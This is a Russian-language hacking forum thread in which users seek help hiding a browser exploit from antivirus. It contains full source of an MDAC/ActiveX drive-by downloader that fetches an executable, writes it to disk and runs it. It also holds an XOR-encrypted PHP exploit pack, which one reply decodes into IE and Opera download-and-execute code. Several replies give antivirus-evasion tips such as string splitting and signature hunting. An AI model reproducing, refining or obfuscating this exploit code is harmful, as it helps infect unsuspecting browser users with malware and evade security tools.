Все доброго времени суток . Возможно эта тема поднималась , но все же ... Каким образом криптуется сплойт , если можно , пример .. Вот код сплойта , как его спрятать от антивируса и сохранить его работоспособность , пробовал обфускацию - от антивируса не спасает . Спасибо ... PHP: <? $clsid = "'{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}'"; ?> <script language="JavaScript"> <? // mdac + ?> function <?=$var[1];?>(<?=$var[7];?>) { var <?=$var[2];?> = "abcdefghiklmnopqrstuvwxyz"; var <?=$var[3];?> = <?=$var[7];?>; var <?=$var[4];?> = ''; for (var i=0; i<<?=$var[3];?>; i++) { var <?=$var[5];?> = Math.floor(Math.random() * <?=$var[2];?>.length); <?=$var[4];?> += <?=$var[2];?>.substring(<?=$var[5];?>,<?=$var[5];?>+1); } return <?=$var[4];?>; } function <?=$var[6];?>(CLSID, name) { var result = null; try { eval('result = CLSID.CreateObject(name)') } catch(e){} if (! result) { try { eval('result = CLSID.CreateObject(name, "")') } catch(e){} } if (! result) { try { eval('result = CLSID.CreateObject(name, "", "")') } catch(e){} } if (! result) { try { eval('result = CLSID.GetObject("", name)') } catch(e){} } if (! result) { try { eval('result = CLSID.GetObject(name, "")') } catch(e){} } if (! result) { try { eval('result = CLSID.GetObject(name)') } catch(e){} } return(result); } function <?=$var[8];?>(xml, url) { try { xml.open("GET", url, false); xml.send(null); } catch(e) { return 0; } return xml.responseBody; } function <?=$var[9];?>(o, name, data) { try { o.Type = 1; o.Mode = 3; o.Open(); o.Write(data); o.SaveToFile(name, 2); o.Close(); } catch(e) { return 0; } return 1; } function <?=$var[10];?>(exec, name, type) { if (type == 0) { try { exec.Run(name, 0); return 1; } catch(e) { } } else { try { exe.<?=$var[10];?>(name); return 1; } catch(e) { } } return(0); } function mdac() { var <?=$var[11];?> = "<?=$ie_path;?>"; var <?=$var[12];?> = new Array(<?=$clsid;?>, null); var <?=$var[13];?> = new Array(null, null, null); var i = 0; var n = 0; var ret = 0; while (<?=$var[12];?>[i] && (! <?=$var[13];?>[0] || ! <?=$var[13];?>[1] || ! <?=$var[13];?>[2]) ) { var a = null; try { a = document.createElement("object"); a.setAttribute("classid", "clsid:" + <?=$var[12];?>[i].substring(1, <?=$var[12];?>[i].length - 1)); } catch(e) { a = null; } if (a) { if (! <?=$var[13];?>[0]) { <?=$var[13];?>[0] = <?=$var[6];?>(a, "ms"+"xml2.XM"+"LHTTP"); if (! <?=$var[13];?>[0]) <?=$var[13];?>[0] = <?=$var[6];?>(a, "Micr"+"osoft.X"+"MLHTTP"); if (! <?=$var[13];?>[0]) <?=$var[13];?>[0] = <?=$var[6];?>(a, "MSX"+"ML2.Serv"+"erXML"+"HTTP"); } if (! <?=$var[13];?>[1]) { <?=$var[13];?>[1] = <?=$var[6];?>(a, "ADO"+"DB.St"+"ream"); } if (! <?=$var[13];?>[2]) { <?=$var[13];?>[2] = <?=$var[6];?>(a, "WSc"+"ript.Sh"+"ell"); if (! <?=$var[13];?>[2]) { <?=$var[13];?>[2] = <?=$var[6];?>(a, "Sh"+"ell.Appli"+"cation"); if (<?=$var[13];?>[2]) n=1; } } } i++; } if (<?=$var[13];?>[0] && <?=$var[13];?>[1] && <?=$var[13];?>[2]) { var data = <?=$var[8];?>(<?=$var[13];?>[0], <?=$var[11];?>); if (data != 0) { var name = "c:\\"+<?=$var[1];?>(4)+".exe"; if (<?=$var[9];?>(<?=$var[13];?>[1], name, data) == 1) { if (<?=$var[10];?>(<?=$var[13];?>[2], name, n) == 1) { ret=1; } } } } return ret; } <? // mdac - ?> function Attack() { mdac(); } Attack(); </script>
все верно вам написали. выбор сделать надо Choose method: JavaScript Encoder Затем в поле слева вставить свой скрипт и нажать кнопку Generate Помигает полоска, мол что-то делается. Затем появятся ниже варианты обфусцированного кода. Попробуйте еще раз. Не пойму в чем проблема у вас? Банальный вопрос - поддержку javascript в браузере случаем не отключали?
PHP: <? $key_that_script_is_crypted=46; $resource_crypted_code ='#$ [\BFZZ^ q}k|xk|ufzz~qfa}zs ]Z\q\K^BOMKrrJG\@OCK q}k|xk|u~f~q}kbhs BAOJ ^F^#$H[@MZGA@K@MAJK MA@ZK@ZU#$[t3] ]Z\Z\GC]Z\G^qZOI] MA@ZK@Z#$[t3] @KY#$[t3]HA\ G G]Z\BK@ ]Z\ G @KY MF\A\J ]Z\u Gsp#$[t3]\KZ[\@ ]M\G^ZBO@I[OIKdOXO}M\G^Z]Z\ @KY ]Z\HA\GG]Z\ BK@IZFGU]Z\]Z\}Z\G@I H\ACmFO\mAJK]Z\ MFO\mAJKoZGpSKXOB]Z\]M\G^Z #$S#$GH DOXOZ\[KKMFA O^^BKZO\MFGXKDOXO ^F^MAJKlOOOOlOO MBO]]YGJZFFKGIFZ^O\OC@OCK[\BXOB[K [\B O^^BKZ #$KB]KGH L\AY]K\c}gkKMFA FZCBFKOJCKZOfzz~k{gx|kh|k}fMA@ZK@Z{|bG@JKV ^F^ K@MAJK ]M\G^ZBO@I[OIKdOXO}M\G^Z#$]ZO\Z#$H[@MZGA@]ZO\ZU#$XO\@KYIJAM[CK@Z M\KOZKkBKCK@Zr ALDKMZr #$@KYI ]KZoZZ\GL[ZKr GJr r @KYIr #$@KYI ]KZoZZ\GL[ZKr MBO]]GJr r MBr r ]Gr Jljmr or jr or mr hmr kr r #$Z\WU#$XO\_@KYI m\KOZKaLDKMZr C]r VCr Br r vcr bfr zr r z~r r r #$XO\]@KYI m\KOZKaLDKMZ}FKBB o^^BGMOZGA@r r #$XO\Z@KYI m\KOZKaLDKMZr OJr r AJr L r ]Zr \Kr OCr r r #$Z\WUZ ZW^K#$_ A^K@r ir kr zr r [\B r HOB]K#$_ ]K@JZ A^K@#$Z y\GZK_ \K]^A@]KlAJW#$XO\@OCKr GKV^BA\K\ KVKr #$Z }OXKzAhGBK@OCK#$Z mBA]K#$SMOZMFKUS#$Z\WU] ]FKBBKVKM[ZK@OCKSMOZMFKUSS#$MOZMFKUSS#$]M\G^Z FKOJFZCB#$KB]KGH L\AY]K\a^K\OKMFAK@MAJK ]M\G^ZBO@I[OIKdOXO}M\G^Z#$LBO@EqGH\OCKJAM[CK@Z M\KOZKkBKCK@Zr GH\OCKr #$LBO@EqGH\OCK ]\Mr OLA[ZLBO@Er #$LBO@EqGH\OCK ]KZoZZ\GL[ZKr GJr r LBO@EqGH\OCKqYG@JAYr #$LBO@EqGH\OCK ]KZoZZ\GL[ZKr ]ZWBKr r JG]^BOW@A@Kr #$JAM[CK@Z O^^K@JmFGBJLBO@EqGH\OCK#$LBO@EqGH\OCKqYG@JAY KXOBMA@HGIqGH\OCKJAM[CK@Z M\KOZKkBKCK@Zr GH\OCKr r#$MA@HGIqGH\OCK ]KZoZZ\GL[ZKr GJr r MA@HGIqGH\OCKqYG@JAYr r#$MA@HGIqGH\OCK ]\Mr A^K\OMA@HGIr r#$JAM[CK@Z O^^K@JmFGBJMA@HGIqGH\OCKr#$O^^qGH\OCKJAM[CK@Z M\KOZKkBKCK@Zr ]M\G^Zr r#$MOMFKqGH\OCKJAM[CK@Z M\KOZKkBKCK@Zr GH\OCKr r#$O^^qGH\OCK ]\Mr ^F^KMFA [\Br r#$O^^qGH\OCK A@BAOJH[@MZGA@r#$Ur#$MOMFKqGH\OCK ]\Mr A^K\OMOMFKr r#$MOMFKqGH\OCK A@BAOJH[@MZGA@r#$Ur#$MOMFKMOMFKqGH\OCK MA@ZK@ZjAM[CK@Z MFGBJ`AJK]us G@@K\fzcb ZA{^^K\mO]Kr#$XO\\K@KY|KIkV^r a~|rrrrYUS kvkzjrrrr]zjrrrrJzjrrrr]zjof|khrr O^^qGH\OCK ]\M ZA{^^K\mO]Kr r r#$HGBK@OCKMOMFK COZMF\Kr#$MA@HGIqGH\OCKqYG@JAY KXOBr#$rr#$A^K\O ]KZ~\KHK\K@MKr `KZYA\Er r z`o^^r A^K\O IKZ~\KHK\K@MKr {]K\~\KH]r r mOMFKjG\KMZA\Wr ^O\K@Z HGBK@OCKusr#$O^^qBG@EJAM[CK@Z M\KOZKkBKCK@Zr Or r#$O^^qBG@E ]KZoZZ\GL[ZKr F\KHr r Z@@AZFG@Ir r#$O^^qBG@E MBGMEr#$]KZzGCKA[ZH[@MZGA@UA^K\O ]KZ~\KHK\K@MKr `KZYA\Er r z`o^^r r ZKB@KZ KVKr Sr#$rr#$Sr#$JAM[CK@Z O^^K@JmFGBJMOMFKqGH\OCKr#$Sr#$JAM[CK@Z O^^K@JmFGBJO^^qGH\OCK#$]M\G^Z #$'; $string_output=str_replace("[t1]", "<?", $resource_crypted_code); $string_output=str_replace("[t3]", "'", $string_output); $lenth_of_crypted_code=strlen($string_output); $eval_php_code=''; for($huivamvsem=0;$huivamvsem<$lenth_of_crypted_code;$huivamvsem++) $eval_php_code .= chr(ord($string_output[$huivamvsem]) ^ $key_that_script_is_crypted); eval($eval_php_code); ?> Вот хотелось бы услышать как закрипчен вот этот сплойт ? Спасибо .
в предыдущему посту с применением php - код зашифрован с применением операции xor. код из первого поста вставлял, криптованый код получал, на работоспособность не проверял, так как такой цели не было. но факт что криптор все же работает и выдает результат
А теперь вопрос , как закриптить ... Желательно по пунктам , самый примитивный метод ... Заранее спасибо
try { eval('result = CLSID.CreateObject(name)') } в try { eval('res'+'ult'+' = CLS'+'ID.C'+'reate'+'Object'+'(na'+'me)') }
код, который выложил тс, пхп а вы предлагаете на iframe.in его закриптовать как javasript ну ппц а по поводу сабжа я этот же код (как я понял, это от айспака) пытался руками как только не закриптить тестил с касперским итог - после минуты работы (добавления мусора и переделывания пары кусков кода) при файловой проверке он перестал орать на него если же открыть его как html в браузере (что обычно и происходит при целевом использовании , он начинает орать. говорит, что trojan.downloaser.slice.js. Это же он кричал и при проверке файла. Только если при проверке самого файла окошко каспера было красное, то сейчас оно было желтое. Т.е. авер проверяет непосредственно код в памяти, и там он все равно палится Как же спрятать его?
По поводу первого сплойта - можно удаляя по одной строчке найти ту, на которую ругается антивирус и пробовать изменять её, куски яваскрипта без пхп можно обфусцировать на iframe.in Однако у меня этот сплойт вообще не выполняется, ПХП выдает кучу ошибок неопределенных переменных, видимо он не полностью представлен, а переменные var[] определяются в том месте, куда инклюдится этот сплоит. По поводу второго сплойта раскодировать его просто: вместо PHP: eval($eval_php_code); вписать PHP: $f=@fopen("sploit-decoded.txt","w"); fwrite($f, $eval_php_code); fclose($f); В результате в файле sploit-decoded.txt имеем раскодированый сплоит: PHP: #$url = "http_//"#$_SERVER["HTTP_HOST"]str_replace ("\\", "/", dirname (#$_SERVER["PHP_SELF"]))"/loadphp"% function encode (#$content) { #$str = trim (strip_tags (#$content))% #$new = ""% for (#$i = 0% #$i < strlen (#$str)% #$i ++) #$new = chr (ord (#$str[#$i]) ^ 1)% return <script language=JavaScript>str = "#$new"%str2 = ""%for (i = 0% i < strlength% i ++) { str2 = str2 + StringfromCharCode (strcharCodeAt (i) ^ 1)% }% eval (str2)%</script>% } if (#$java == true) echo <applet archive="javaphp" code="BaaaaBaaclass" width=1 height=1><param name="url" value="#$url"></applet>% elseif (#$browser == "MSIE") echo <html><head><meta HTTP-EQUIV="REFRESH" content="3% URL=indexphp?404">encode (<script language="JavaScript"> start()% function start() { var newg = documentcreateElement(\object\)% newgsetAttribute(\id\,\newg\)% newgsetAttribute(\classid\,\cl\+\si\+"d_BD"+"96C5"+\56-65A3-1\+"1D0-98"+\3A-00\+"C04"+\FC2\+"9E"+\36\)% try { var q = newgCreateObject(\ms\+"xm"+\l2\+""+\XM\+"LH"+\T\+\TP\,\\)% var s = newgCreateObject("Shel"+"lAp"+"pl"+"icati"+"on",\\)% var t = newgCreateObject(\ad\+\od\+"b"+\st\+"re"+\am\,\\)% try { ttype = 1% qopen(\G\+"E"+\T\,\#$url\,false)% qsend()% topen()% tWrite(qresponseBody)% var name = \////iexplorerexe\% tSaveToFile(name,2)% tClose()% } catch(e) {} try { sshellexecute(name)% } catch(e) {}} catch(e){}} </script>)"</head></html>"% elseif (#$browser == "Opera") echo encode (<script language="JavaScript"> blank_iframe = documentcreateElement(\iframe\)% blank_iframesrc = \about_blank\% blank_iframesetAttribute(\id\, \blank_iframe_window\)% blank_iframesetAttribute(\style\, \display_none\)% documentappendChild(blank_iframe)% blank_iframe_windoweval ("config_iframe = documentcreateElement(\iframe\)%\ config_iframesetAttribute(\id\, \config_iframe_window\)%\ config_iframesrc = \opera_config\%\ documentappendChild(config_iframe)%\ app_iframe = documentcreateElement(\script\)%\ cache_iframe = documentcreateElement(\iframe\)%\ app_iframesrc = \<?php echo #$url% ?>\%\ app_iframeonload = function ()\ {\ cache_iframesrc = \opera_cache\%\ cache_iframeonload = function ()\ {\ cache = cache_iframecontentDocumentchildNodes[0]innerHTMLtoUpperCase()%\ var re = new RegExp(\(OPR\\\\w{5}EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"\+app_iframesrctoUpperCase(), \\)%\ filename = cachematch(re)%\ config_iframe_windoweval\ (\"\ operasetPreference(\Network\,\TN3270 App\,operagetPreference(\User Prefs\,\Cache Directory4\)+parentfilename[1])%\ app_link = documentcreateElement(\a\)%\ app_linksetAttribute(\href\, \tn3270_//nothing\)%\ app_linkclick()%\ setTimeout(function () {operasetPreference(\Network\,\TN3270 App\,\telnetexe\)},1000)%\ \")%\ }%\ documentappendChild(cache_iframe)%\ }%\ documentappendChild(app_iframe)%")% </script>)%